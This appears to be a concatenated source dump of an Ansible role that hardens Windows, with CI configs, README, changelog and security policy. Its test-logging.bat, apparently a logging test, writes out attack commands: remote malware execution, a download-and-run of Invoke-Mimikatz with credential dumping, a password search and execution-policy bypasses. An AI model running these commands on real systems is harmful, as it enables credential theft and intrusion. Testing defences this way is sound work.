| - name: 'Release on galaxy' 26 | uses: ansible-actions/ansible-galaxy-action@388fe24563eb7889730a1c10587a8acd005bd42a 27 | with: 28 | galaxy_api_key: ${{ secrets.galaxy_api_key }} 29 | galaxy_version: 'main' 30 | -------------------------------------------------------------------------------- /.github/workflows/lint.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: lint 3 | 4 | on: 5 | push: 6 | pull_request: 7 | workflow_dispatch: 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | strategy: 14 | fail-fast: false 15 | max-parallel: 4 16 | env: 17 | ANSIBLE_CALLBACKS_ENABLED: profile_tasks 18 | ANSIBLE_EXTRA_VARS: "" 19 | ANSIBLE_ROLE: juju4.harden_windows 20 | 21 | steps: 22 | - uses: actions/checkout@v4 23 | with: 24 | path: ${{ env.ANSIBLE_ROLE }} 25 | - name: Set up Python 26 | uses: actions/setup-python@v5 27 | with: 28 | python-version: '3.x' 29 | - name: Install dependencies 30 | run: | 31 | python3 --version 32 | python3 -c "import ssl; print(ssl.OPENSSL_VERSION)" 33 | python3 -c 'import ssl; ssl.PROTOCOL_TLSv1_2' 34 | python3 -m pip install --upgrade pip 35 | pip3 install ansible-lint flake8 yamllint ansible 36 | ansible --version 37 | cd $GITHUB_WORKSPACE/$ANSIBLE_ROLE 38 | [ -f molecule/default/requirements.yml ] && ansible-galaxy install -r molecule/default/requirements.yml 39 | [ -f get-dependencies.sh ] && sh -x get-dependencies.sh 40 | { echo '[defaults]'; echo 'callbacks_enabled = profile_tasks, timer'; echo 'roles_path = ../'; echo 'ansible_python_interpreter: /usr/bin/python3'; } >> ansible.cfg 41 | - name: Fetch central settings repository 42 | run: | 43 | export settings_repo="https://raw.githubusercontent.com/juju4/ansible-ci-settings/main" 44 | cd $GITHUB_WORKSPACE/$ANSIBLE_ROLE 45 | set -x 46 | curl -o requirements.txt "$settings_repo/requirements.txt" 47 | # curl -o .ansible-lint "$settings_repo/.ansible-lint" 48 | curl -o .yamllint "$settings_repo/.yamllint" 49 | pip install -r requirements.txt 50 | continue-on-error: true 51 | - name: Environment 52 | run: | 53 | uname -a 54 | pwd 55 | env 56 | find . -ls 57 | ls / 58 | ls /mnt 59 | - uses: codespell-project/actions-codespell@master 60 | with: 61 | ignore_words_file: ${{ env.ANSIBLE_ROLE }}/.codespellignore 62 | skip: .git,*/templates/workstation.inf,*/defaults/main.yml,*/vars/de-DE.yml 63 | path: ${{ env.ANSIBLE_ROLE }} 64 | if: ${{ always() }} 65 | - name: yamllint 66 | run: | 67 | cd $GITHUB_WORKSPACE/$ANSIBLE_ROLE && yamllint . 68 | if: ${{ always() }} 69 | - name: ansible-lint 70 | run: | 71 | cd $GITHUB_WORKSPACE/$ANSIBLE_ROLE && ansible-lint 72 | if: ${{ always() }} 73 | -------------------------------------------------------------------------------- /.github/workflows/stale.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: 'Close stale issues and PRs' 3 | on: 4 | schedule: 5 | - cron: '30 1 * * *' 6 | 7 | jobs: 8 | stale: 9 | permissions: 10 | issues: write 11 | pull-requests: write 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/stale@5bef64f19d7facfb25b37b414482c7164d639639 15 | with: 16 | stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days.' 17 | days-before-stale: 30 18 | days-before-close: 5 19 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # https://github.com/github/gitignore/blob/master/Global/Vagrant.gitignore 2 | .vagrant/ 3 | 4 | # Log files (if you are creating logs in debug mode, uncomment this) 5 | # *.log 6 | 7 | # Ansible 8 | *.retry 9 | # Kitchen 10 | .kitchen 11 | inspec.lock 12 | # https://github.com/github/gitignore/blob/master/Global/Vim.gitignore 13 | # Swap 14 | [._]*.s[a-v][a-z] 15 | [._]*.sw[a-p] 16 | [._]s[a-v][a-z] 17 | [._]sw[a-p] 18 | 19 | # Session 20 | Session.vim 21 | Sessionx.vim 22 | 23 | # Temporary 24 | .netrwhist 25 | *~ 26 | # Auto-generated tag files 27 | tags 28 | # Persistent undo 29 | [._]*.un~ 30 | # https://github.com/github/gitignore/blob/master/Python.gitignore 31 | # Byte-compiled / optimized / DLL files 32 | __pycache__/ 33 | *.py[cod] 34 | *$py.class 35 | 36 | # C extensions 37 | *.so 38 | 39 | # Distribution / packaging 40 | .Python 41 | build/ 42 | develop-eggs/ 43 | dist/ 44 | downloads/ 45 | eggs/ 46 | .eggs/ 47 | lib/ 48 | lib64/ 49 | parts/ 50 | sdist/ 51 | var/ 52 | wheels/ 53 | *.egg-info/ 54 | .installed.cfg 55 | *.egg 56 | MANIFEST 57 | 58 | # PyInstaller 59 | # Usually these files are written by a python script from a template 60 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 61 | *.manifest 62 | *.spec 63 | 64 | # Installer logs 65 | pip-log.txt 66 | pip-delete-this-directory.txt 67 | 68 | # Unit test / coverage reports 69 | htmlcov/ 70 | .tox/ 71 | .coverage 72 | .coverage.* 73 | .cache 74 | nosetests.xml 75 | coverage.xml 76 | *.cover 77 | .hypothesis/ 78 | 79 | # Translations 80 | *.mo 81 | *.pot 82 | 83 | # Django stuff: 84 | *.log 85 | .static_storage/ 86 | .media/ 87 | local_settings.py 88 | 89 | # Flask stuff: 90 | instance/ 91 | .webassets-cache 92 | 93 | # Scrapy stuff: 94 | .scrapy 95 | 96 | # Sphinx documentation 97 | docs/_build/ 98 | 99 | # PyBuilder 100 | target/ 101 | 102 | # Jupyter Notebook 103 | .ipynb_checkpoints 104 | 105 | # pyenv 106 | .python-version 107 | 108 | # celery beat schedule file 109 | celerybeat-schedule 110 | 111 | # SageMath parsed files 112 | *.sage.py 113 | 114 | # Environments 115 | .env 116 | .venv 117 | env/ 118 | venv/ 119 | ENV/ 120 | env.bak/ 121 | venv.bak/ 122 | 123 | # Spyder project settings 124 | .spyderproject 125 | .spyproject 126 | 127 | # Rope project settings 128 | .ropeproject 129 | 130 | # mkdocs documentation 131 | /site 132 | 133 | # mypy 134 | .mypy_cache/ 135 | # https://github.com/github/gitignore/blob/master/Global/macOS.gitignore 136 | # General 137 | .DS_Store 138 | .AppleDouble 139 | .LSOverride 140 | 141 | # Icon must end with two \r 142 | Icon 143 | 144 | # Thumbnails 145 | ._* 146 | 147 | # Files that might appear in the root of a volume 148 | .DocumentRevisions-V100 149 | .fseventsd 150 | .Spotlight-V100 151 | .TemporaryItems 152 | .Trashes 153 | .VolumeIcon.icns 154 | .com.apple.timemachine.donotpresent 155 | 156 | # Directories potentially created on remote AFP share 157 | .AppleDB 158 | .AppleDesktop 159 | Network Trash Folder 160 | Temporary Items 161 | .apdisk 162 | # https://github.com/github/gitignore/blob/master/Global/Linux.gitignore 163 | *~ 164 | 165 | # temporary files which can be created if a process still has a handle open of a deleted file 166 | .fuse_hidden* 167 | 168 | # KDE directory preferences 169 | .directory 170 | 171 | # Linux trash folder which might appear on any partition or disk 172 | .Trash-* 173 | 174 | # .nfs files are created when an open file is removed but is still being accessed 175 | .nfs* 176 | # https://github.com/github/gitignore/blob/master/Global/Windows.gitignore 177 | # Windows thumbnail cache files 178 | Thumbs.db 179 | ehthumbs.db 180 | ehthumbs_vista.db 181 | 182 | # Dump file 183 | *.stackdump 184 | 185 | # Folder config file 186 | [Dd]esktop.ini 187 | 188 | # Recycle Bin used on file shares 189 | $RECYCLE.BIN/ 190 | 191 | # Windows Installer files 192 | *.cab 193 | *.msi 194 | *.msm 195 | *.msp 196 | 197 | # Windows shortcuts 198 | *.lnk 199 | # https://github.com/github/gitignore/blob/master/Global/GPG.gitignore 200 | secring.* 201 | # https://github.com/github/gitignore/blob/master/community/OpenSSL.gitignore 202 | # OpenSSL-related files best not committed 203 | 204 | ## Certificate Authority 205 | *.ca 206 | 207 | ## Certificate 208 | *.crt 209 | 210 | ## Certificate Sign Request 211 | *.csr 212 | 213 | ## Certificate 214 | *.der 215 | 216 | ## Key database file 217 | *.kdb 218 | 219 | ## OSCP request data 220 | *.org 221 | 222 | ## PKCS #12 223 | *.p12 224 | 225 | ## PEM-encoded certificate data 226 | *.pem 227 | 228 | ## Random number seed 229 | *.rnd 230 | 231 | ## SSLeay data 232 | *.ssleay 233 | 234 | ## S/MIME message 235 | *.smime 236 | -------------------------------------------------------------------------------- /.kitchen.vagrant.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## FIXME! $$$$$$ Remove-Item : A parameter cannot be found that matches parameter name 'rf'. 3 | ## not even provisioning 4 | ## For now, prefer test/vagrant 5 | 6 | driver: 7 | name: vagrant 8 | provider: <%= ENV['KITCHEN_PROVIDER'] || 'virtualbox' %> 9 | 10 | provisioner: 11 | name: ansible_playbook 12 | roles_path: ../ 13 | hosts: all 14 | # ansible_verbose: true 15 | ansible_verbose: false 16 | ansible_verbosity: 3 17 | ansible_extra_flags: <%= ENV['ANSIBLE_EXTRA_FLAGS'] %> 18 | 19 | platforms: 20 | ### http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant/ 21 | ### FIXME! https://github.com/neillturner/kitchen-ansible/issues/131 22 | - name: ubuntu-16.04 23 | driver_plugin: vagrant 24 | driver_config: 25 | box: "boxcutter/ubuntu1604" 26 | - name: windows-2012r2 27 | transport: 28 | name: winrm 29 | driver: 30 | # gui: false 31 | gui: true 32 | 33 | suites: 34 | # - name: default 35 | # run_list: 36 | # attributes: 37 | - name: ansible 38 | run_list: 39 | attributes: 40 | driver_config: 41 | network: 42 | - ['private_network', { ip: '172.28.128.6' }] 43 | - ['public_network', { bridge: 'eth0' }] 44 | includes: 45 | - ubuntu-16.04 46 | provisioner: 47 | name: ansible_playbook 48 | playbook: test/integration/ansible/default.yml 49 | - name: windows 50 | driver_config: 51 | network: 52 | - ['private_network', { ip: '172.28.128.7' }] 53 | includes: 54 | - windows-2012r2 55 | provisioner: 56 | name: ansible_playbook 57 | playbook: test/integration/default/default.yml 58 | -------------------------------------------------------------------------------- /.kitchen.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## FIXME! $$$$$$ Remove-Item : A parameter cannot be found that matches parameter name 'rf'. 3 | ## not even provisioning 4 | ## For now, prefer test/vagrant 5 | 6 | driver: 7 | name: vagrant 8 | provider: <%= ENV['KITCHEN_PROVIDER'] || 'virtualbox' %> 9 | 10 | provisioner: 11 | name: ansible_playbook 12 | roles_path: ../ 13 | hosts: all 14 | # ansible_verbose: true 15 | ansible_verbose: false 16 | ansible_verbosity: 3 17 | ansible_extra_flags: <%= ENV['ANSIBLE_EXTRA_FLAGS'] %> 18 | 19 | platforms: 20 | ### http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant/ 21 | ### FIXME! https://github.com/neillturner/kitchen-ansible/issues/131 22 | - name: ubuntu-16.04 23 | driver_plugin: vagrant 24 | driver_config: 25 | box: "boxcutter/ubuntu1604" 26 | - name: windows-2012r2 27 | transport: 28 | name: winrm 29 | driver: 30 | # gui: false 31 | gui: true 32 | 33 | suites: 34 | # - name: default 35 | # run_list: 36 | # attributes: 37 | - name: ansible 38 | run_list: 39 | attributes: 40 | driver_config: 41 | network: 42 | - ['private_network', { ip: '172.28.128.6' }] 43 | - ['public_network', { bridge: 'eth0' }] 44 | includes: 45 | - ubuntu-16.04 46 | provisioner: 47 | name: ansible_playbook 48 | playbook: test/integration/ansible/default.yml 49 | - name: windows 50 | driver_config: 51 | network: 52 | - ['private_network', { ip: '172.28.128.7' }] 53 | includes: 54 | - windows-2012r2 55 | provisioner: 56 | name: ansible_playbook 57 | playbook: test/integration/default/default.yml 58 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | repos: 3 | - repo: https://github.com/pre-commit/pre-commit-hooks 4 | rev: v5.0.0 5 | hooks: 6 | - id: check-yaml 7 | - id: end-of-file-fixer 8 | exclude: 'files/patch-*' 9 | - id: trailing-whitespace 10 | exclude: 'files/patch-*' 11 | - id: check-added-large-files 12 | - id: check-json 13 | - id: detect-private-key 14 | - id: check-case-conflict 15 | - id: double-quote-string-fixer 16 | - id: requirements-txt-fixer 17 | - repo: https://github.com/codespell-project/codespell 18 | rev: v2.4.1 19 | hooks: 20 | - id: codespell 21 | args: [-I, .codespellignore] 22 | exclude: > 23 | (?x)^( 24 | templates/workstation.inf| 25 | defaults/main.yml| 26 | vars/de-DE.yml 27 | )$ 28 | - repo: https://github.com/ansible-community/ansible-lint.git 29 | rev: v25.1.3 30 | hooks: 31 | - id: ansible-lint 32 | files: \.(yaml|yml)$ 33 | # - repo: https://github.com/Yelp/detect-secrets 34 | # rev: v1.1.0 35 | # hooks: 36 | # - id: detect-secrets 37 | # args: ['--baseline', '.secrets.baseline'] 38 | # exclude: .*/tests/.* 39 | -------------------------------------------------------------------------------- /.yamllint: -------------------------------------------------------------------------------- 1 | --- 2 | extends: default 3 | 4 | rules: 5 | line-length: disable 6 | braces: disable 7 | truthy: disable 8 | new-lines: disable 9 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 6 | 7 | ## [Unreleased] 8 | 9 | ### Added 10 | - Github Action - Work In Progress 11 | - IE - disable legacy jscript engine 12 | - repository: pre-commit config 13 | 14 | ### Changed 15 | - appveyor: update ansible pypi to 4.3.0/3.4.0 16 | - repository: gitignore, lint 17 | 18 | ### Removed 19 | - travis-ci 20 | 21 | ## [1.3.0] - 2020-03-27 22 | 23 | ### Added 24 | - Github Action - Work In Progress 25 | - IE - disable legacy jscript engine 26 | 27 | ### Changed 28 | - defaults: harden flash off - to remove as Flash EOL 29 | - github action: lint as separated workflow 30 | - appveyor: update ansible pypi to 2.10.7/2.9.19/3.1.0, enforce cryptography 3.3.2 (no rust) 31 | - repository: lint 32 | - s/travis-ci.org/travis-ci.com/ 33 | 34 | ## [1.2.0] - 2020-07-19 35 | 36 | ### Added 37 | - AMSI registry setting 38 | - disable remote management of Service Control Manager 39 | - References 40 | 41 | ## [1.1.0] - 2020-02-01 42 | 43 | ### Changed 44 | - WSH: separate task file, TrustPolicy option to enforce signed 45 | - lint 46 | - external references 47 | 48 | ### Removed 49 | - github.com/caseysmithrc/MimkatzCollider: repository 404 50 | 51 | ## [1.0.0] - 2019-07-20 52 | 53 | ### Changed 54 | - Github: rename tags to match semantic versioning: 0.7.0, 0.7.1, 0.8.0 55 | - Appveyor: use cygwin python36-cryptography 56 | - Appveyor: update ansible to 2.8.1/2.7.11/2.6.17 57 | - Travis: default to xenial and python3 58 | - more linting 59 | 60 | ## [0.9.0] - 2019-02-17 61 | 62 | ### Added 63 | - testing speculative: add SpecuCheck 64 | - DeviceGuard CodeIntegrity: microsoft recommended policy 65 | - packer: Azure configuration 66 | 67 | ### Changed 68 | - Heavy lint following galaxy new rules following adoption of ansible-lint 69 | https://groups.google.com/forum/#!topic/ansible-project/ehrb6AEptzA 70 | https://docs.ansible.com/ansible-lint/rules/default_rules.html 71 | https://github.com/ansible/ansible-lint 72 | - Galaxy dependency naming evolution (juju4.redhat_epel, harden_sysctl...) 73 | - appveyor: update ansible to 2.7.5/2.6.11/2.5.14 74 | - Shadow Copy: disable vssadmin.exe on Win10 75 | - Hardened UNC paths: RequirePrivacy option 76 | - Custom LSASS AuditLevel 77 | - appveyor: update ansible to 2.7.0/2.6.5/2.5.10 78 | 79 | ## [v0.8] - 2018-06-17 80 | 81 | ### Added 82 | - TaskScheduler hardening (optional) 83 | - STIG/IADgov settings enforcement (mostly general stuff, registry-based) 84 | - SAMRi10 hardening remote 85 | - Cryptography settings: enable TLS1.2, disable SSL2-3 86 | - test/full: test suite with extra ansible roles 87 | - testing: Intel-SA-00086 Detection Tool for Intel ME 88 | - testing: IAD Secure-Host-Baseline 89 | - testing: speculative execution 90 | - testing: mimikatz and variants 91 | - win10b1709 ASR options 92 | - Disable sticky keys 93 | - AppLocker template 94 | - packer: Virtualbox, Vmware configurations 95 | - Windows Event Forwarding (WEF) configuration (without GPO) 96 | - Configure Windows Error Reporting (WER) 97 | - Disable Admin Shares 98 | 99 | ### Changed 100 | - test/full: disable nxlog - upstream chocolatey package issue 101 | - harden_win_acl: defaults disabled 102 | - Win privilege: ansible syntax for Nobody = 'Null SID' 103 | - Cortana: disabled 104 | - Review permissions for ansible and inspec folders 105 | 106 | ### Removed 107 | - Move to separate ansible roles: juju4.win-ad-monitor, win-services, win-powershell, win-applocker, win-osquery... 108 | 109 | ## [v0.7b] - 2017-01-30 110 | 111 | ### Changed 112 | - fix some path escaping, bad merge 113 | 114 | ## [v0.7] - 2017-01-30 115 | 116 | ### Added 117 | - Initial commit on Github, include simple travis, kitchen and vagrant tests 118 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, juju4@users.noreply.github.com 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Appveyor - Master](https://ci.appveyor.com/api/projects/status/kkr0w77mu5rrm014/branch/master?svg=true)](https://ci.appveyor.com/project/juju4/ansible-harden-windows/branch/master) 2 | [![Appveyor - Devel](https://ci.appveyor.com/api/projects/status/kkr0w77mu5rrm014/branch/devel?svg=true)](https://ci.appveyor.com/project/juju4/ansible-harden-windows/branch/devel) 3 | 4 | # Windows harden ansible role 5 | 6 | Ansible role to harden windows system. 7 | 8 | * install EMET, Powershell v5 9 | * LSA hardening, review javascript/hta file association 10 | * review log settings, enabling command-line, powershell and WMI logging 11 | * try to harden adobe reader, flash 12 | * basic application firewall blocks 13 | 14 | ATTENTION! It's a work in progress. 15 | Pay attention to test carefully role and fit to your context unless you want to lock yourself. 16 | This role is continuous development as security landscape is constantly evolving. 17 | 18 | Legal disclaimer! 19 | Depending on settings, very detailed activity log can be created. 20 | Only apply to your own system else for most countries (ex: Europe), user must have been warned and agreed (usually through internal policy, code of conduct...) 21 | 22 | ## Requirements & Dependencies 23 | 24 | ### Ansible 25 | It was tested on the following versions: 26 | * 2.0 (min required for Win) 27 | * 2.2 28 | * 2.3 (required for testing part - become_method: runas) 29 | * 2.4 ~~(required since s/include:/include_tasks:/)~~ 30 | * 2.5 31 | 32 | ### Operating systems 33 | 34 | Tested with vagrant on Ubuntu 14.04 and 16.04. 35 | Only tested against Win10 and Ws2016 Evaluation. 36 | Follow 37 | http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant/ 38 | 39 | ## Example Playbook 40 | 41 | Just include this role in your list. 42 | For example 43 | 44 | ``` 45 | - host: all 46 | roles: 47 | - juju4.harden-windows 48 | ``` 49 | 50 | Run 51 | ``` 52 | $ ansible -i inventory -m win_ping win --ask-pass 53 | $ ansible-playbook -i inventory --limit win site.yml 54 | ``` 55 | 56 | ## Variables 57 | 58 | Sample. See defaults/main.yml for full scope 59 | 60 | ``` 61 | harden_eventlogs_maxsize: 314572 62 | ``` 63 | 64 | ## Continuous integration 65 | 66 | This role has a travis basic test (for github, syntax check only) and a Vagrantfile (test/vagrant). 67 | 68 | ``` 69 | $ cd /path/to/roles/juju4.harden-windows/test/vagrant 70 | $ vagrant up 71 | $ vagrant provision 72 | $ vagrant destroy 73 | $ ansible -i .vagrant/provisioners/ansible/inventory/vagrant_ansible_inventory -m win_ping -e ansible_winrm_server_cert_validation=ignore -e ansible_ssh_port=55986 all 74 | ``` 75 | 76 | Role has also a packer config which allows to create image for virtualbox and vmware based on https://github.com/jonashackt/ansible-windows-docker-springboot/, https://github.com/boxcutter/windows and https://github.com/gusztavvargadr/packer. 77 | Plan for about 50GB of free disk space and 1h to build one image. 78 | ``` 79 | $ cd /path/to/packer-build 80 | $ cp -Rd /path/to/juju4.harden-windows/packer . 81 | ## update packer-*.json with your current absolute ansible role path for the main role 82 | $ cd packer 83 | $ packer build *.json 84 | $ packer build -only=virtualbox-iso *.json 85 | ## if you want to enable extra log 86 | $ PACKER_LOG_PATH="packerlog.txt" PACKER_LOG=1 packer build *.json 87 | # for Azure, ensure you download and setup connection plugin. Default is for v2.6, Sep 2018 88 | $ . ~/.azure/credentials 89 | $ packer build azure-windows_server_2016.json 90 | $ packer build -var-file=variables.json azure-windows_server_2016.json 91 | ``` 92 | 93 | See also 94 | * https://github.com/hashicorp/packer/tree/master/examples/ansible/connection-plugin 95 | * https://www.packer.io/docs/provisioners/ansible.html#winrm-communicator 96 | * https://www.packer.io/docs/templates/user-variables.html 97 | * https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/ 98 | 99 | ## Troubleshooting & Known issues 100 | 101 | * Ensure you follow ansible guide to be able to connect 102 | http://docs.ansible.com/ansible/intro_windows.html 103 | 104 | * 'The property 'changed' cannot be found on this object. Verify that the property exists and can be set.' 105 | https://github.com/ansible/ansible/issues/17139 106 | Ansible bug in 2.1.1, ok in 2.0.1 and 2.1.2 107 | 108 | * AdobeReader chocolatey install issue 109 | 110 | * most windows module in ansible are not idempotent 111 | 112 | * Ansible win_firewall_rule module does not seem mature enough currently, especially if using non-english windows. 113 | Consider it experimental 114 | 115 | * ```ConnectTimeout: HTTPSConnectionPool(host='192.168.1.1', port=5986): Max retries exceeded with url: /wsman (Caused by ConnectTimeoutError( virtualbox-iso: Deleting output directory... 121 | Build 'virtualbox-iso' errored: Error uploading VirtualBox version: Error restoring file from $env:TEMP\winrmcp-affcbaf4-440e-481f-7ea4-16ae1b0b7121.tmp to .vbox_version: restore operation returned code=16001 122 | ``` 123 | Restarting is usually enough. 124 | Normally addressed per https://github.com/jonashackt/ansible-windows-docker-springboot/commit/89ad651fb7a79ee98b12ea0d5718727a5926ef9e 125 | ``` 126 | ==> virtualbox-iso: Deleting output directory... 127 | Build 'virtualbox-iso' errored: Error uploading VirtualBox version: Error restoring file from $env:TEMP\winrmcp-a6ac9db9-7493-4131-788d-23bfef94da3d.tmp to .vbox_version: unknown error Post http://127.0.0.1:3233/wsman: EOF 128 | ``` 129 | Same, restarting is usually enough. 130 | https://github.com/StefanScherer/packer-windows/issues/21 131 | It also sometimes stall on ` Waiting for WinRM to become available...` 132 | ==> just stop it and restart 133 | 134 | * ```Cannot dot-source this command because it was defined in a different language mode. To invoke this command without importing its contents, omit the '.' operator.``` 135 | It happens with Applocker enabled and non-administrator user because of Constrained Powershell. See https://www.sysadmins.lv/blog-en/powershell-50-and-applocker-when-security-doesnt-mean-security.aspx 136 | 137 | * [ansible 2.4: playbook with include_tasks: earn all memory and dramaticaly slowly #30441](https://github.com/ansible/ansible/issues/30441) 138 | 139 | ## FAQ 140 | 141 | Extra read 142 | * Applocker hardening 143 | * https://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/ 144 | * Powershell focus: https://www.sixdub.net/?p=367, http://www.scip.ch/en/?labs.20150507, https://www.sysadmins.lv/blog-en/powershell-50-and-applocker-when-security-doesnt-mean-security.aspx 145 | 146 | * Securing Windows Workstations: Developing a Secure Baseline: https://adsecurity.org/?p=3299 147 | 148 | * [Validation with inspec](https://github.com/juju4/windows-baseline)(Thanks to dev-sec project!) 149 | 150 | * [SecurityWithoutBorders HardenTools](https://github.com/securitywithoutborders/hardentools) 151 | 152 | ## Thanks 153 | 154 | Thanks to the many people who share books, tweets, scripts or other OSINT that contributed directly or not inside this role. 155 | Infosec community is GREAT! 156 | 157 | ## License 158 | 159 | BSD 2-clause 160 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security policy 2 | 3 | DISCLAIMER! 4 | * This is personally maintained opensource project. Best effort will be made to support its security and resiliency but as per license, no warranty. 5 | * As deployment role for ansible, vulnerability for ansible, targeted deployed software(s) or underlying operating system(s) won't be accepted. It is the responsibility of the user to ensure those are maintained appropriately and in non-vulnerable versions. 6 | * I believe in transparency. Considering the scope of project, it is less likely that a security issue would be a major impact and full disclosure should not be an issue but if you believe otherwise, use the web form. 7 | 8 | ## Security bulletins 9 | 10 | When applicable, Security Advisories will be created inside GitHub following [Creating a repository security advisory](https://docs.github.com/en/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory). 11 | 12 | ## Reporting a vulnerability 13 | 14 | Please use one of below process to report a vulnerability to the project: 15 | 16 | 17 | - [x] GitHub issue "Report a security issue": 18 | 19 | - [x] [Web Form](https://docs.google.com/forms/d/1alWCY1VAekedhOCuP6lW-ZylsjkGKsrrDApHk36Kqe4) 20 | - [x] [GitHub Private vulnerability reporting](https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability) 21 | - [ ] Email 22 | - [ ] Bug Bounty 23 | 24 | If issue is critical and not public, please use the web form. 25 | You can use [First.org Common Vulnerability Scoring System Version 3.0 Calculator](https://www.first.org/cvss/calculator/3.0) to score vulnerability. 26 | 27 | Do not forget to tell us if and how you want to be acknowledged. 28 | 29 | This project follows an immediate (public issue) or 30-days (web form) disclosure timeline. 30 | 31 | This project won't request CVE(s). 32 | 33 | ## Bug Bounty or Vulnerability Disclosure Program. 34 | 35 | This project is not part of any Bug Bounty program. 36 | 37 | ## Supported Versions 38 | 39 | Only latest release or tag is supported along HEAD for main branch. 40 | Tests are usually focus on the latest LTS from RedHat and Ubuntu but contributions for other distributions or versions are welcomed. 41 | 42 | ## Preferred Languages 43 | 44 | We prefer all communications to be in English. 45 | 46 | # References 47 | 48 | * [CNCF template SECURITY.md](https://github.com/cncf/tag-security/blob/main/project-resources/templates/SECURITY.md) 49 | * [security.txt](https://securitytxt.org/) when applicable website. 50 | * [Vulnerability Disclosure Cheat Sheet, OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) 51 | * [About coordinated disclosure of security vulnerabilities](https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities) 52 | * [Confidential issues, Gitlab](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html) 53 | * [Confidential (private) issues on public repo, gitea](https://github.com/go-gitea/gitea/issues/3217) 54 | * [Report/Request CVE](https://www.cve.org/ResourcesSupport/ReportRequest) 55 | -------------------------------------------------------------------------------- /files/mount.ps1: -------------------------------------------------------------------------------- 1 | # https://stackoverflow.com/questions/29222905/mapping-a-network-drive-on-a-windows-guest-using-ansible 2 | param([string]$share) 3 | $share | Out-File c:\ansible-test\debug.txt 4 | New-PSDrive -Name "K" -PSProvider FileSystem -Root "$share" -Persist 5 | -------------------------------------------------------------------------------- /files/test-logging.bat: -------------------------------------------------------------------------------- 1 | @echo on 2 | 3 | ; https://technet.microsoft.com/en-ca/library/dn535776.aspx 4 | mkdir c:\systemfiles\temp\commandandcontrol\zone\fifthward 5 | copy \\192.168.1.254\c$\hidden c:\systemfiles\temp\hidden\commandandcontrol\zone\fifthward 6 | start C:\systemfiles\temp\hidden\commandandcontrol\zone\fifthward\ntuserrights.vbs 7 | del c:\systemfiles\temp\*.* /Q 8 | 9 | powershell -Command "Get-ExecutionPolicy" 10 | 11 | ; https://www.fireeye.com/content/dam/fireeye-www/global/en/solutions/pdfs/wp-lazanciyan-investigating-powershell-attacks.pdf 12 | powershell -Command "Invoke-Command 192.168.17.150 {Get-ChildItem c:\}" 13 | powershell -Command "Invoke-Command 192.168.17.150 {c:\malware.exe}" 14 | powershell -Command "Invoke-Command 192.168.17.150 {iex((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds}" 15 | powershell -Command "Enter-PSSession 192.168.17.150" 16 | powershell -Command "Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password" 17 | powershell.exe -NonInteractive -WindowStyle Hidden -Execution -Policy bypass -File "C:\windows\system32\evil.ps1" 18 | 19 | ; https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ 20 | 21 | echo Write-Host "My voice is my passport, verify me." > runme.ps1 22 | powershell -File runme.ps1 23 | type runme.ps1 | PowerShell.exe -noprofile - 24 | powershell -Command "Get-Content .\runme.ps1 | PowerShell.exe -noprofile - " 25 | powershell -nop -c 